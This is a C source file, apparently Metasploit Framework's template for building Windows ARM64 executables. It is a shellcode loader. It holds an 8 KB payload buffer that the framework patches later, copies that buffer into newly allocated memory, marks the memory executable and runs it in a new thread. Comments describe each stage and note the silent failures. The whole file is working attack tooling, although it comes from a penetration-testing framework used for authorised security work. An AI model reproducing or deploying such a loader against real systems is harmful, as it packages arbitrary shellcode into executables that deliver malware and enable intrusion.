1
// AArch64 PE EXE Template for Metasploit Framework
2
//
3
// -----------------------------------------------------------------------------
4
//
5
// Compilation Instructions:
6
//
7
//   Using MSVC on a Windows ARM64 Host:
8
//
9
//   cl.exe /nologo /O2 /W3 /GS- /D_WIN64 template_aarch64_windows.c /link ^
10
//   /subsystem:windows /machine:arm64 /entry:main ^
11
//   /out:template_aarch64_windows.exe kernel32.lib
12
//
13
// -----------------------------------------------------------------------------
14

15
#define WIN32_LEAN_AND_MEAN
16
#include <windows.h>
17
#undef WIN32_LEAN_AND_MEAN
18

19
#define PAYLOAD_MARKER "PAYLOAD:"
20
#define SCSIZE 8192
21

22
char payload[SCSIZE] = PAYLOAD_MARKER;
23

24
int main(void)
25
{
26
    void *exec_mem;
27
    DWORD old_prot;
28
    HANDLE hThread;
29

30
    // Stage 1: Allocate a block of memory. We request READWRITE permissions
31
    // initially so we can copy our payload into it.
32
    exec_mem = VirtualAlloc(NULL, SCSIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
33
    if (exec_mem == NULL)
34
    {
35
        // Fail silently if allocation fails.
36
        return 1;
37
    }
38

39
    // Stage 2: Copy the payload from our data section into the new memory block.
40
    // A simple loop is used for maximum compiler compatibility and to avoid
41
    // needing extra headers like <string.h> for memcpy.
42
    for (int i = 0; i < SCSIZE; i++)
43
    {
44
        ((char *)exec_mem)[i] = payload[i];
45
    }
46

47
    // Stage 3: Change the memory's protection flags from READWRITE to
48
    // EXECUTE_READ.
49
    if (VirtualProtect(exec_mem, SCSIZE, PAGE_EXECUTE_READ, &old_prot) == FALSE)
50
    {
51
        // Fail silently if we cannot make the memory executable.
52
        return 1;
53
    }
54

55
    // Stage 4: Execute the shellcode.
56
    hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)exec_mem, NULL, 0, NULL);
57
    if (hThread)
58
    {
59
        WaitForSingleObject(hThread, INFINITE);
60
        CloseHandle(hThread);
61
    }
62
    else
63
    {
64
        // As a fallback in case CreateThread fails, call the shellcode directly.
65
        ((void (*)())exec_mem)();
66
    }
67

68
    return 0;
69
}
70

71